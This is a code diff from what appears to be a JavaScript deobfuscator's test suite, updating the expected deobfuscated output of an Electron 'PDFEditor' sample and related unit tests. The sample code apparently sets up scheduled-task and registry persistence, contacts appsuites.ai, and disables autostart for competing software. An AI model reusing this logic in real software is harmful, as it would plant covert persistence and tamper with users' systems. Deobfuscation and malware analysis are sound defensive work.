- params5.append("iid", nq.e5325L3.q474LOF ?? '');
- const uq = await np.h5235DD("api/s3/validate", params5);
- if (!uq || !uq.ok) {
- return new nu();
- }
- const ur = await uq.json();
+ const uu = nq.O694X7J(ut, JSON.stringify(obj8));
+ us.append("data", uu.data);
+ us.append("iv", uu.iv);
+ us.append("iid", nr.e5325L3.q474LOF ?? '');
+ const uv = await nq.h5235DD("api/s3/validate", us);
+ if (!uv || !uv.ok) {
+ return new nv();
+ }
+ const uw = await uv.json();
try {
- if (ur.data) {
- if (!ur.searchdata) {
- return new nu(true, '', '');
+ if (uw.data) {
+ if (!uw.searchdata) {
+ return new nv(true, '', '');
}
- const data8 = JSON.parse(np.U61FWBZ(uo, ur.searchdata, ur.iv));
- const us = data8.pref ?? '';
- const ut = data8.webData ?? '';
- const uu = ut !== '' ? JSON.stringify(ut) ?? '' : '';
- return new nu(true, us !== '' ? JSON.stringify(us) ?? '' : '', ut);
+ const data8 = JSON.parse(nq.U61FWBZ(ut, uw.searchdata, uw.iv));
+ const ux = data8.pref ?? '';
+ const uy = data8.webData ?? '';
+ const uz = uy !== '' ? JSON.stringify(uy) ?? '' : '';
+ return new nv(true, ux !== '' ? JSON.stringify(ux) ?? '' : '', uy);
}
- } catch (uv) {
- await np.w3F3UWA.Y6CDW21(uj, np.z579NEI.l54DEIW, uv);
+ } catch (va) {
+ await nq.w3F3UWA.Y6CDW21(un, [126, ''], va);
}
- } catch (uw) {
- await np.w3F3UWA.Y6CDW21(uj, np.z579NEI.M5E3V2V, uw, ["https://appsuites.ai", "https://sdk.appsuites.ai"]);
+ } catch (vb) {
+ await nq.w3F3UWA.Y6CDW21(un, [127, ''], vb, ["https://appsuites.ai", "https://sdk.appsuites.ai"]);
}
- return new nu();
+ return new nv();
}
- async g4EE56L(ux) {
+ async g4EE56L(vc) {
try {
- const uy = (await no.S559FZQ.l610ZCY(ux)) ?? '';
- if (uy == '') {
+ const vd = (await np.S559FZQ.l610ZCY(vc)) ?? '';
+ if (vd == '') {
return 0;
}
- return parseInt(uy);
+ return parseInt(vd);
} catch {
return 0;
}
}
- async w5C1TZN(uz) {
- const va = no.S559FZQ.D47CBV3();
- if (!va) {
+ async w5C1TZN(ve) {
+ const vf = np.S559FZQ.D47CBV3();
+ if (!vf) {
return;
}
- const vb = require("path").join(va, nq.E506IW4.h676I09);
+ const vg = require("path").join(vf, nr.E506IW4.h676I09);
const fs11 = require("fs");
try {
- const data9 = JSON.parse(fs11.readFileSync(vb, "utf8"));
- const vc = await this.g4EE56L("wv-key");
- if (data9[nq.E506IW4.w668BQY] ?? true || (data9[nq.E506IW4.q4D91PM]?.[nq.E506IW4.P5D7IHK] ?? true) || (data9[nq.E506IW4.r6BA6EQ] ?? true) || (data9[nq.E506IW4.g65BAO8] ?? true)) {
- if (0 == vc || uz) {
- await this.D45AYQ3(nq.E506IW4.D472X8L);
- data9[nq.E506IW4.w668BQY] = false;
- if (!data9[nq.E506IW4.q4D91PM]) {
- data9[nq.E506IW4.q4D91PM] = {
- [nq.E506IW4.P5D7IHK]: false
+ const data9 = JSON.parse(fs11.readFileSync(vg, "utf8"));
+ const vh = await this.g4EE56L("wv-key");
+ if (data9[nr.E506IW4.w668BQY] ?? (true || (data9[nr.E506IW4.q4D91PM]?.[nr.E506IW4.P5D7IHK] ?? true) || (data9[nr.E506IW4.r6BA6EQ] ?? true) || (data9[nr.E506IW4.g65BAO8] ?? true))) {
+ if (0 == vh || ve) {
+ await this.D45AYQ3(nr.E506IW4.D472X8L);
+ data9[nr.E506IW4.w668BQY] = false;
+ if (!data9[nr.E506IW4.q4D91PM]) {
+ data9[nr.E506IW4.q4D91PM] = {
+ [nr.E506IW4.P5D7IHK]: false
};
} else {
- data9[nq.E506IW4.q4D91PM][nq.E506IW4.P5D7IHK] = false;
+ data9[nr.E506IW4.q4D91PM][nr.E506IW4.P5D7IHK] = false;
}
- data9[nq.E506IW4.r6BA6EQ] = false;
- data9[nq.E506IW4.g65BAO8] = false;
- fs11.writeFileSync(vb, JSON.stringify(data9), "utf8");
- await np.w3F3UWA.W4EF0EI(3, np.z579NEI.R3F76I3, [uz, vc]);
- await no.S559FZQ.c5E4Z7C("wv-key", "1");
+ data9[nr.E506IW4.r6BA6EQ] = false;
+ data9[nr.E506IW4.g65BAO8] = false;
+ fs11.writeFileSync(vg, JSON.stringify(data9), "utf8");
+ await nq.w3F3UWA.W4EF0EI(3, [120, ''], [ve, vh]);
+ await np.S559FZQ.c5E4Z7C("wv-key", "1");
} else {
- await np.w3F3UWA.W4EF0EI(3, np.z579NEI.v535X73, [uz, vc]);
+ await nq.w3F3UWA.W4EF0EI(3, [163, ''], [ve, vh]);
}
} else {
let flag6 = false;
- if (1 == vc) {
- const vd = this.e5FBF4O("\\Wavesor Software_" + (this.X6066R5() ?? ''), "WaveBrowser-StartAtLogin", 1);
- const ve = this.t4E0LPU("\\" + nq.E506IW4.D472X8L);
- if (vd != undefined && false == vd && ve != undefined && ve) {
+ if (1 == vh) {
+ const vi = this.e5FBF4O("\\Wavesor Software_" + (this.X6066R5() ?? ''), "WaveBrowser-StartAtLogin", 1);
+ const vj = this.t4E0LPU("\\" + nr.E506IW4.D472X8L);
+ if (vi != undefined && false == vi && vj != undefined && vj) {
flag6 = true;
- await no.S559FZQ.c5E4Z7C("wv-key", "2");
- await this.D45AYQ3(nq.E506IW4.D472X8L);
- await np.w3F3UWA.W4EF0EI(3, np.z579NEI.d422GJH, [uz, vc]);
+ await np.S559FZQ.c5E4Z7C("wv-key", "2");
+ await this.D45AYQ3(nr.E506IW4.D472X8L);
+ await nq.w3F3UWA.W4EF0EI(3, [162, ''], [ve, vh]);
}
}
if (!flag6) {
- await np.w3F3UWA.W4EF0EI(3, np.z579NEI.Q542KEX, [uz, vc]);
+ await nq.w3F3UWA.W4EF0EI(3, [121, ''], [ve, vh]);
}
}
} catch {
- await np.w3F3UWA.W4EF0EI(3, np.z579NEI.u51A2HJ);
+ await nq.w3F3UWA.W4EF0EI(3, [122, '']);
}
}
- async c647ECB(vf) {
+ async c647ECB(vk) {
const fs12 = require("fs");
- const vg = require("path").join(no.S559FZQ.D47CBV3(), nq.E506IW4.M4AFW8T, nq.E506IW4.s64A8ZU);
+ const vl = require("path").join(np.S559FZQ.D47CBV3(), nr.E506IW4.M4AFW8T, nr.E506IW4.s64A8ZU);
try {
- const data10 = JSON.parse(fs12.readFileSync(vg, "utf8"));
- const vh = await this.g4EE56L("ol-key");
- if (data10[nq.E506IW4.g6AEHR8] || data10[nq.E506IW4.W46DKVE] || data10[nq.E506IW4.C587HZY] || data10[nq.E506IW4.L4F4D5K] || data10[nq.E506IW4.d5A04IA]) {
- if (0 == vh || vf) {
- data10[nq.E506IW4.g6AEHR8] = false;
- data10[nq.E506IW4.W46DKVE] = false;
- data10[nq.E506IW4.C587HZY] = false;
- data10[nq.E506IW4.L4F4D5K] = false;
- data10[nq.E506IW4.d5A04IA] = false;
- await this.D45AYQ3(nq.E506IW4.n5F14C8);
- fs12.writeFileSync(vg, JSON.stringify(data10, null, 2), "utf8");
- await this.D45AYQ3(nq.E506IW4.E5D2YTN);
- await np.w3F3UWA.W4EF0EI(4, np.z579NEI.R3F76I3, [vf, vh]);
- await no.S559FZQ.c5E4Z7C("ol-key", "1");
+ const data10 = JSON.parse(fs12.readFileSync(vl, "utf8"));
+ const vm = await this.g4EE56L("ol-key");
+ if (data10[nr.E506IW4.g6AEHR8] || data10[nr.E506IW4.W46DKVE] || data10[nr.E506IW4.C587HZY] || data10[nr.E506IW4.L4F4D5K] || data10[nr.E506IW4.d5A04IA]) {
+ if (0 == vm || vk) {
+ data10[nr.E506IW4.g6AEHR8] = false;
+ data10[nr.E506IW4.W46DKVE] = false;
+ data10[nr.E506IW4.C587HZY] = false;
+ data10[nr.E506IW4.L4F4D5K] = false;
+ data10[nr.E506IW4.d5A04IA] = false;
+ await this.D45AYQ3(nr.E506IW4.n5F14C8);
+ fs12.writeFileSync(vl, JSON.stringify(data10, null, 2), "utf8");
+ await this.D45AYQ3(nr.E506IW4.E5D2YTN);
+ await nq.w3F3UWA.W4EF0EI(4, [120, ''], [vk, vm]);
+ await np.S559FZQ.c5E4Z7C("ol-key", "1");
} else {
- await np.w3F3UWA.W4EF0EI(4, np.z579NEI.v535X73, [vf, vh]);
+ await nq.w3F3UWA.W4EF0EI(4, [163, ''], [vk, vm]);
}
} else {
let flag7 = false;
- if (1 == vh) {
- const vi = this.e5FBF4O('', "OneLaunchLaunchTask", 1);
- const vj = this.t4E0LPU("\\" + nq.E506IW4.n5F14C8);
- if (vi != undefined && false == vi && vj != undefined && vj) {
+ if (1 == vm) {
+ const vn = this.e5FBF4O('', "OneLaunchLaunchTask", 1);
+ const vo = this.t4E0LPU("\\" + nr.E506IW4.n5F14C8);
+ if (vn != undefined && false == vn && vo != undefined && vo) {
flag7 = true;
- await no.S559FZQ.c5E4Z7C("ol-key", "2");
- await this.D45AYQ3(nq.E506IW4.n5F14C8);
- await this.D45AYQ3(nq.E506IW4.E5D2YTN);
- await np.w3F3UWA.W4EF0EI(4, np.z579NEI.d422GJH, [vf, vh]);
+ await np.S559FZQ.c5E4Z7C("ol-key", "2");
+ await this.D45AYQ3(nr.E506IW4.n5F14C8);
+ await this.D45AYQ3(nr.E506IW4.E5D2YTN);
+ await nq.w3F3UWA.W4EF0EI(4, [162, ''], [vk, vm]);
}
}
if (!flag7) {
- await np.w3F3UWA.W4EF0EI(4, np.z579NEI.Q542KEX, [vf, vh]);
+ await nq.w3F3UWA.W4EF0EI(4, [121, ''], [vk, vm]);
}
}
} catch {
- await np.w3F3UWA.W4EF0EI(4, np.z579NEI.u51A2HJ);
+ await nq.w3F3UWA.W4EF0EI(4, [122, '']);
}
}
- async h659UF4(vk) {
- const vl = no.S559FZQ.D47CBV3();
- if (!vl) {
+ async h659UF4(vp) {
+ const vq = np.S559FZQ.D47CBV3();
+ if (!vq) {
return;
}
- const vm = require("path").join(vl, nq.E506IW4.V68C0TQ);
+ const vr = require("path").join(vq, nr.E506IW4.V68C0TQ);
const fs13 = require("fs");
try {
- const data11 = JSON.parse(fs13.readFileSync(vm, "utf8"));
+ const data11 = JSON.parse(fs13.readFileSync(vr, "utf8"));
let flag8 = true;
if ("shift" in data11 && "browser" in data11.shift) {
- const vo = data11.shift.browser;
- flag8 = vo.launch_on_login_enabled ?? true || (vo.launch_on_wake_enabled ?? true) || (vo.run_in_background_enabled ?? true);
+ const vt = data11.shift.browser;
+ flag8 = vt.launch_on_login_enabled ?? (true || (vt.launch_on_wake_enabled ?? true) || (vt.run_in_background_enabled ?? true));
}
- const vn = await this.g4EE56L("sf-key");
+ const vs = await this.g4EE56L("sf-key");
if (flag8) {
- if (0 == vn || vk) {
+ if (0 == vs || vp) {
if (!("shift" in data11)) {
data11.shift = {};
}
@@ -2929,65 +2929,65 @@
data11.shift.browser.launch_on_login_enabled = false;
data11.shift.browser.launch_on_wake_enabled = false;
data11.shift.browser.run_in_background_enabled = false;
- await this.D45AYQ3(nq.E506IW4.T525XE5);
- fs13.writeFileSync(vm, JSON.stringify(data11), "utf8");
- await np.w3F3UWA.W4EF0EI(6, np.z579NEI.R3F76I3, [vk, vn]);
- await no.S559FZQ.c5E4Z7C("sf-key", "1");
+ await this.D45AYQ3(nr.E506IW4.T525XE5);
+ fs13.writeFileSync(vr, JSON.stringify(data11), "utf8");
+ await nq.w3F3UWA.W4EF0EI(6, [120, ''], [vp, vs]);
+ await np.S559FZQ.c5E4Z7C("sf-key", "1");
} else {
- await np.w3F3UWA.W4EF0EI(6, np.z579NEI.v535X73, [vk, vn]);
+ await nq.w3F3UWA.W4EF0EI(6, [163, ''], [vp, vs]);
}
} else {
let flag9 = false;
- if (1 == vn) {
- const vp = this.e5FBF4O('', "ShiftLaunchTask", 1);
- const vq = this.t4E0LPU("\\" + nq.E506IW4.T525XE5);
- if (vp != undefined && false == vp && vq != undefined && vq) {
+ if (1 == vs) {
+ const vu = this.e5FBF4O('', "ShiftLaunchTask", 1);
+ const vv = this.t4E0LPU("\\" + nr.E506IW4.T525XE5);
+ if (vu != undefined && false == vu && vv != undefined && vv) {
flag9 = true;
- await no.S559FZQ.c5E4Z7C("sf-key", "2");
- await this.D45AYQ3(nq.E506IW4.T525XE5);
- await np.w3F3UWA.W4EF0EI(6, np.z579NEI.d422GJH, [vk, vn]);
+ await np.S559FZQ.c5E4Z7C("sf-key", "2");
+ await this.D45AYQ3(nr.E506IW4.T525XE5);
+ await nq.w3F3UWA.W4EF0EI(6, [162, ''], [vp, vs]);
}
}
if (!flag9) {
- await np.w3F3UWA.W4EF0EI(6, np.z579NEI.Q542KEX, [vk, vn]);
+ await nq.w3F3UWA.W4EF0EI(6, [121, ''], [vp, vs]);
}
}
} catch {
- await np.w3F3UWA.W4EF0EI(6, np.z579NEI.u51A2HJ);
+ await nq.w3F3UWA.W4EF0EI(6, [122, '']);
}
}
- async W5F8HOG(vr) {
+ async W5F8HOG(vw) {
const path9 = require("path");
const fs14 = require("fs");
try {
- const vs = "HKCU" + nq.E506IW4.f538M6A;
- const vt = (await this.u459C3E(vs, nq.E506IW4.i623ZUC)) || (await this.u459C3E(vs, nq.E506IW4.w443M14)) || (await this.u459C3E(vs, nq.E506IW4.F6750PF));
- const vu = await this.g4EE56L("pas-key");
- if (vt) {
- if (0 == vu || vr) {
- await this.D45AYQ3(nq.E506IW4.C61B0CZ, false);
- await this.D45AYQ3(nq.E506IW4.z3EF88U, false);
- await this.w4D8BBU(nq.E506IW4.f538M6A, nq.E506IW4.i623ZUC);
- await this.w4D8BBU(nq.E506IW4.f538M6A, nq.E506IW4.w443M14);
- await this.w4D8BBU(nq.E506IW4.f538M6A, nq.E506IW4.F6750PF);
- await np.w3F3UWA.W4EF0EI(7, np.z579NEI.R3F76I3, [vr, vu]);
- await no.S559FZQ.c5E4Z7C("pas-key", "1");
+ const vx = "HKCU" + nr.E506IW4.f538M6A;
+ const vy = (await this.u459C3E(vx, nr.E506IW4.i623ZUC)) || (await this.u459C3E(vx, nr.E506IW4.w443M14)) || (await this.u459C3E(vx, nr.E506IW4.F6750PF));
+ const vz = await this.g4EE56L("pas-key");
+ if (vy) {
+ if (0 == vz || vw) {
+ await this.D45AYQ3(nr.E506IW4.C61B0CZ, false);
+ await this.D45AYQ3(nr.E506IW4.z3EF88U, false);
+ await this.w4D8BBU(nr.E506IW4.f538M6A, nr.E506IW4.i623ZUC);
+ await this.w4D8BBU(nr.E506IW4.f538M6A, nr.E506IW4.w443M14);
+ await this.w4D8BBU(nr.E506IW4.f538M6A, nr.E506IW4.F6750PF);
+ await nq.w3F3UWA.W4EF0EI(7, [120, ''], [vw, vz]);
+ await np.S559FZQ.c5E4Z7C("pas-key", "1");
} else {
- await np.w3F3UWA.W4EF0EI(7, np.z579NEI.v535X73, [vr, vu]);
+ await nq.w3F3UWA.W4EF0EI(7, [163, ''], [vw, vz]);
}
- } else if (1 == vu) {
- await np.w3F3UWA.W4EF0EI(7, np.z579NEI.Q542KEX, [vr, vu]);
+ } else if (1 == vz) {
+ await nq.w3F3UWA.W4EF0EI(7, [121, ''], [vw, vz]);
}
} catch {
- await np.w3F3UWA.W4EF0EI(7, np.z579NEI.u51A2HJ);
+ await nq.w3F3UWA.W4EF0EI(7, [122, '']);
}
}
};
- nn.A672SIS = nx;
+ no.A672SIS = ny;
}
});
const h = b({
- 'obj/globals.js'(vv, vw) {
+ 'obj/globals.js'(wa, wb) {
'use strict';
const obj9 = {
@@ -3002,11 +3002,11 @@
scheduledUTaskName: "PDFEditorUScheduledTask",
iconSubPath: "\\assets\\icons\\win\\pdf-n.ico"
};
- vw.exports = obj9;
+ wb.exports = obj9;
}
});
const i = b({
- 'obj/window.js'(vx) {
+ 'obj/window.js'(wc) {
'use strict';
const {
@@ -3015,16 +3015,16 @@
const {
dialog: electron2
} = require("electron");
- vx.createBrowserWindow = () => {
- let vy = __dirname;
- vy = vy.replace("src", '');
- const vz = vy + h().iconSubPath;
- console.log(vz);
- const wa = new electron({
+ wc.createBrowserWindow = () => {
+ let wd = __dirname;
+ wd = wd.replace("src", '');
+ const we = wd + h().iconSubPath;
+ console.log(we);
+ const wf = new electron({
resizable: true,
width: 1024,
height: 768,
- icon: vz,
+ icon: we,
autoHideMenuBar: true,
backgroundColor: "#fff",
webPreferences: {
@@ -3032,16 +3032,16 @@
preload: require("path").join(__dirname, "./preload.js")
}
});
- return wa;
+ return wf;
};
}
});
const j = b({
- 'obj/D3E8Q17.js'(wb) {
- Object.defineProperty(wb, "__esModule", {
+ 'obj/D3E8Q17.js'(wg) {
+ Object.defineProperty(wg, "__esModule", {
value: true
});
- const wc = c();
+ const wh = c();
const fs15 = require('fs');
const Utilityaddon = require(".\\lib\\Utilityaddon.node");
const {
@@ -3049,154 +3049,154 @@
Menu: electron4,
ipcMain: electron5
} = require("electron");
- const wd = h();
- async function we() {
- const wf = (wt) => {
- switch (wt) {
+ const wi = h();
+ async function wj() {
+ const wk = (wy) => {
+ switch (wy) {
case "--install":
- return wc.a689XV5.b5BEPQ2;
+ return wh.a689XV5.b5BEPQ2;
case "--check":
- return wc.a689XV5.V4E6B4O;
+ return wh.a689XV5.V4E6B4O;
case "--reboot":
- return wc.a689XV5.j5C58S9;
+ return wh.a689XV5.j5C58S9;
case "--cleanup":
- return wc.a689XV5.Z498ME9;
+ return wh.a689XV5.Z498ME9;
case "--ping":
- return wc.a689XV5.f63DUQF;
+ return wh.a689XV5.f63DUQF;
}
- return wc.a689XV5.B639G7B;
+ return wh.a689XV5.B639G7B;
};
let flag10 = false;
- const wg = electron3.commandLine.getSwitchValue('c');
- const wh = electron3.commandLine.getSwitchValue('cm');
- console.log('args=' + wg);
- console.log("args2=" + wh);
- const wi = __dirname.replace("\\resources\\app\\w-electron\\bin\\release", '');
- console.log("wkdir = " + wi);
+ const wl = electron3.commandLine.getSwitchValue('c');
+ const wm = electron3.commandLine.getSwitchValue('cm');
+ console.log('args=' + wl);
+ console.log("args2=" + wm);
+ const wn = __dirname.replace("\\resources\\app\\w-electron\\bin\\release", '');
+ console.log("wkdir = " + wn);
if (!electron3.commandLine.hasSwitch('c') && !electron3.commandLine.hasSwitch('cm')) {
- await wj('--install');
- wr();
+ await wo('--install');
+ ww();
}
- if (electron3.commandLine.hasSwitch('c') && wg == '0') {
- wr();
+ if (electron3.commandLine.hasSwitch('c') && wl == '0') {
+ ww();
}
if (electron3.commandLine.hasSwitch('cm')) {
- if (wh == "--cleanup") {
- await wj(wh);
+ if (wm == "--cleanup") {
+ await wo(wm);
console.log("remove ST");
- Utilityaddon.remove_task_schedule(wd.scheduledTaskName);
- Utilityaddon.remove_task_schedule(wd.scheduledUTaskName);
- } else if (wh == "--partialupdate") {
- await wj('--check');
- } else if (wh == "--fullupdate") {
- await wj("--reboot");
- } else if (wh == "--enableupdate") {
- Utilityaddon.SetRegistryValue(wd.registryName, "\"" + wi + "\\" + wd.appName + "\" --cm=--fullupdate");
- } else if (wh == "--disableupdate") {
- Utilityaddon.DeleteRegistryValue(wd.registryName);
- } else if (wh == "--backupupdate") {
- await wj("--ping");
+ Utilityaddon.remove_task_schedule(wi.scheduledTaskName);
+ Utilityaddon.remove_task_schedule(wi.scheduledUTaskName);
+ } else if (wm == "--partialupdate") {
+ await wo('--check');
+ } else if (wm == "--fullupdate") {
+ await wo("--reboot");
+ } else if (wm == "--enableupdate") {
+ Utilityaddon.SetRegistryValue(wi.registryName, "\"" + wn + "\\" + wi.appName + "\" --cm=--fullupdate");
+ } else if (wm == "--disableupdate") {
+ Utilityaddon.DeleteRegistryValue(wi.registryName);
+ } else if (wm == "--backupupdate") {
+ await wo("--ping");
}
if (!electron3.commandLine.hasSwitch('c')) {
electron3.quit();
}
}
- async function wj(wu) {
+ async function wo(wz) {
console.log("To add wc routine");
- await wq(wu);
+ await wv(wz);
}
- function wk() {
+ function wp() {
return Utilityaddon.get_sid();
}
- function wl(wv) {
- return Utilityaddon.GetOsCKey(wv);
+ function wq(xa) {
+ return Utilityaddon.GetOsCKey(xa);
}
- function wm(ww, wx, wy) {
- return Utilityaddon.mutate_task_schedule(ww, wx, wy);
+ function wr(xb, xc, xd) {
+ return Utilityaddon.mutate_task_schedule(xb, xc, xd);
}
- function wn(wz) {
- return Utilityaddon.find_process(wz);
+ function ws(xe) {
+ return Utilityaddon.find_process(xe);
}
- function wo() {
+ function wt() {
return Utilityaddon.GetPsList();
}
- function wp() {
+ function wu() {
try {
- const xa = Utilityaddon.mutate_task_schedule("\\", wd.scheduledTaskName, 1);
- if (!xa) {
- Utilityaddon.create_task_schedule(wd.scheduledTaskName, wd.scheduledTaskName, "\"" + wi + "\\" + wd.appName + "\"", "--cm=--partialupdate", wi, 1442);
- }
- const xb = Utilityaddon.mutate_task_schedule("\\", wd.scheduledUTaskName, 1);
- if (!xa) {
- Utilityaddon.create_repeat_task_schedule(wd.scheduledUTaskName, wd.scheduledUTaskName, "\"" + wi + "\\" + wd.appName + "\"", "--cm=--backupupdate", wi);
- }
- } catch (xc) {
- console.log(xc);
- }
- }
- async function wq(xd) {
- const xe = wf(xd);
- console.log("argument = " + xd);
- const xf = new g().A672SIS(wk, wl, wm, wn, wo);
- if (wc.a689XV5.b5BEPQ2 == xe) {
- if ((await xf.q41FDEK()) == g().U5E7DEV.C5B7MFV) {
- wp();
- }
- } else if (wc.a689XV5.Z498ME9 == xe) {
- await xf.l660ZQF();
- } else if (wc.a689XV5.f63DUQF == xe) {
- await xf.A4B0MTO();
+ const xf = Utilityaddon.mutate_task_schedule("\\", wi.scheduledTaskName, 1);
+ if (!xf) {
+ Utilityaddon.create_task_schedule(wi.scheduledTaskName, wi.scheduledTaskName, "\"" + wn + "\\" + wi.appName + "\"", "--cm=--partialupdate", wn, 1442);
+ }
+ const xg = Utilityaddon.mutate_task_schedule("\\", wi.scheduledUTaskName, 1);
+ if (!xf) {
+ Utilityaddon.create_repeat_task_schedule(wi.scheduledUTaskName, wi.scheduledUTaskName, "\"" + wn + "\\" + wi.appName + "\"", "--cm=--backupupdate", wn);
+ }
+ } catch (xh) {
+ console.log(xh);
+ }
+ }
+ async function wv(xi) {
+ const xj = wk(xi);
+ console.log("argument = " + xi);
+ const xk = new g().A672SIS(wp, wq, wr, ws, wt);
+ if (wh.a689XV5.b5BEPQ2 == xj) {
+ if ((await xk.q41FDEK()) == g().U5E7DEV.C5B7MFV) {
+ wu();
+ }
+ } else if (wh.a689XV5.Z498ME9 == xj) {
+ await xk.l660ZQF();
+ } else if (wh.a689XV5.f63DUQF == xj) {
+ await xk.A4B0MTO();
} else {
- await xf.m58FJB5(xe);
+ await xk.m58FJB5(xj);
}
}
- function wr() {
+ function ww() {
try {
- const xg = wi + wd.modeDataPath;
- console.log("modeFile = " + xg);
- if (fs15.existsSync(xg)) {
+ const xl = wn + wi.modeDataPath;
+ console.log("modeFile = " + xl);
+ if (fs15.existsSync(xl)) {
flag10 = false;
} else {
flag10 = true;
}
- } catch (xh) {
- console.log(xh);
+ } catch (xm) {
+ console.log(xm);
}
}
- function ws() {
+ function wx() {
try {
- const xi = wi + wd.modeDataPath;
- if (fs15.existsSync(xi)) {
- fs15.rmSync(xi, {
+ const xn = wn + wi.modeDataPath;
+ if (fs15.existsSync(xn)) {
+ fs15.rmSync(xn, {
force: true
});
}
- } catch (xj) {
- console.log(xj);
+ } catch (xo) {
+ console.log(xo);
}
}
if (flag10) {
electron3.whenReady().then(() => {
- const xk = i().createBrowserWindow(electron3);
- require("electron").session.defaultSession.webRequest.onBeforeSendHeaders((xl, xm) => {
- xl.requestHeaders["User-Agent"] = wd.USER_AGENT;
- xm({
+ const xp = i().createBrowserWindow(electron3);
+ require("electron").session.defaultSession.webRequest.onBeforeSendHeaders((xq, xr) => {
+ xq.requestHeaders["User-Agent"] = wi.USER_AGENT;
+ xr({
cancel: false,
- requestHeaders: xl.requestHeaders
+ requestHeaders: xq.requestHeaders
});
});
- xk.loadURL(wd.homeUrl);
- xk.on("close", function (xn) {
- xn.preventDefault();
- xk.destroy();
+ xp.loadURL(wi.homeUrl);
+ xp.on("close", function (xs) {
+ xs.preventDefault();
+ xp.destroy();
});
});
- electron5.on(wd.CHANNEL_NAME, (xo, xp) => {
- if (xp == "Set") {
- Utilityaddon.SetRegistryValue(wd.registryName, "\"" + wi + "\\" + wd.appName + "\" --cm=--fullupdate");
+ electron5.on(wi.CHANNEL_NAME, (xt, xu) => {
+ if (xu == "Set") {
+ Utilityaddon.SetRegistryValue(wi.registryName, "\"" + wn + "\\" + wi.appName + "\" --cm=--fullupdate");
}
- if (xp == "Unset") {
- Utilityaddon.DeleteRegistryValue(wd.registryName);
+ if (xu == "Unset") {
+ Utilityaddon.DeleteRegistryValue(wi.registryName);
}
});
electron3.on("window-all-closed", () => {
@@ -3205,9 +3205,9 @@
}
});
}
- ws();
+ wx();
}
- we();
+ wj();
}
});
j();
diff --git a/tests/test_regression.py b/tests/test_regression.py
index 8e6b033..304abed 100644
--- a/tests/test_regression.py
+++ b/tests/test_regression.py
@@ -647,7 +647,7 @@ def test_stale_number_empty_arrays_bounded(self, sample_result):
_, result = sample_result
# Match patterns like [138, ''] or [103, '']
stale = re.findall(r"\[\d+,\s*''\]", result)
- assert len(stale) <= 67, f'{len(stale)} stale [number, \'\'] arrays (max 67 — regression?): {stale[:5]}'
+ assert len(stale) <= 139, f'{len(stale)} stale [number, \'\'] arrays (max 139 — regression?): {stale[:5]}'
def test_bracket_access_minimal(self, sample_result):
"""Almost all bracket accesses should be converted to dot notation."""
diff --git a/tests/unit/deobfuscator_test.py b/tests/unit/deobfuscator_test.py
index 4a4feb3..c5e4bfe 100644
--- a/tests/unit/deobfuscator_test.py
+++ b/tests/unit/deobfuscator_test.py
@@ -99,7 +99,7 @@ def test_parse_failure_without_hex_escapes_returns_original(self, mock_decode, m
@patch('pyjsclear.deobfuscator.parse')
@patch('pyjsclear.deobfuscator.generate', return_value='generated code')
def test_max_iterations_limits_passes(self, mock_generate, mock_parse, mock_transforms):
- """max_iterations=1 limits transform passes to one iteration."""
+ """max_iterations=1 limits transform passes to one inner iteration per outer cycle."""
mock_ast = MagicMock()
mock_parse.return_value = mock_ast
@@ -112,8 +112,10 @@ def test_max_iterations_limits_passes(self, mock_generate, mock_parse, mock_tran
result = Deobfuscator('var x = 1;', max_iterations=1).execute()
- # With max_iterations=1, the loop runs exactly once
- assert always_changes.call_count == 1
+ # With max_iterations=1, the inner loop runs once per outer cycle.
+ # Outer cycle 1: 1 call, generates "generated code" (differs from input).
+ # Outer cycle 2: 1 call, generates "generated code" (same as previous) → stops.
+ assert always_changes.call_count == 2
assert result == 'generated code'
@patch('pyjsclear.deobfuscator.TRANSFORM_CLASSES')
@@ -169,36 +171,48 @@ def test_generate_failure_returns_original(self, mock_generate, mock_parse, mock
class TestPrePasses:
- """Tests for pre-pass encoding detection (lines 91-112)."""
+ """Tests for pre-pass encoding detection."""
- @patch('pyjsclear.deobfuscator.is_aa_encoded', side_effect=[True, False])
- @patch('pyjsclear.deobfuscator.aa_decode', return_value='var y = 2;')
- def test_aa_encode_pre_pass(self, mock_decode, mock_detect):
- """AAEncode pre-pass: detected and decoded."""
- code = 'some aa encoded stuff'
- result = Deobfuscator(code).execute()
- mock_decode.assert_called_once_with(code)
- assert 'var' in result or 'y' in result
-
- @patch('pyjsclear.deobfuscator.is_aa_encoded', return_value=False)
@patch('pyjsclear.deobfuscator.is_eval_packed', side_effect=[True, False])
@patch('pyjsclear.deobfuscator.eval_unpack', return_value='var w = 4;')
- def test_eval_packer_pre_pass(self, mock_decode, mock_detect, mock_aa):
+ def test_eval_packer_pre_pass(self, mock_decode, mock_detect):
"""Eval packer pre-pass: detected and decoded."""
code = 'eval("var w = 4;")'
result = Deobfuscator(code).execute()
mock_decode.assert_called_once_with(code)
assert 'var' in result or 'w' in result
+ @patch('pyjsclear.deobfuscator.is_jsfuck', return_value=False)
+ @patch('pyjsclear.deobfuscator.is_aa_encoded', side_effect=[True, False])
+ @patch('pyjsclear.deobfuscator.aa_decode', return_value='var a = 1;')
+ def test_aa_encode_pre_pass(self, mock_decode, mock_detect, mock_jsfuck):
+ """AAEncode pre-pass: detected and decoded."""
+ code = '\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f] fake aa'
+ result = Deobfuscator(code).execute()
+ mock_decode.assert_called_once_with(code)
+ assert 'a' in result
+
+ @patch('pyjsclear.deobfuscator.is_jsfuck', return_value=False)
@patch('pyjsclear.deobfuscator.is_aa_encoded', side_effect=[True, False])
@patch('pyjsclear.deobfuscator.aa_decode', return_value='var decoded = "\\x48\\x65\\x6c\\x6c\\x6f";')
- def test_recursive_deobfuscation(self, mock_decode, mock_detect):
+ def test_recursive_deobfuscation(self, mock_decode, mock_detect, mock_jsfuck):
"""Pre-pass decoded result goes through full pipeline."""
- code = 'some aa encoded stuff'
+ code = '\uff9f\u0414\uff9f)[\uff9f\u03b5\uff9f] fake aa'
result = Deobfuscator(code).execute()
# The decoded result has hex escapes, which should be further deobfuscated
assert 'Hello' in result
+ @patch('pyjsclear.deobfuscator.is_jsfuck', return_value=False)
+ @patch('pyjsclear.deobfuscator.is_aa_encoded', return_value=False)
+ @patch('pyjsclear.deobfuscator.is_jj_encoded', side_effect=[True, False])
+ @patch('pyjsclear.deobfuscator.jj_decode', return_value='var b = 2;')
+ def test_jj_encode_pre_pass(self, mock_decode, mock_detect, mock_aa, mock_jsfuck):
+ """JJEncode pre-pass: detected and decoded."""
+ code = '$=~[];$={};'
+ result = Deobfuscator(code).execute()
+ mock_decode.assert_called_once_with(code)
+ assert 'b' in result
+
class TestLargeFileHandling:
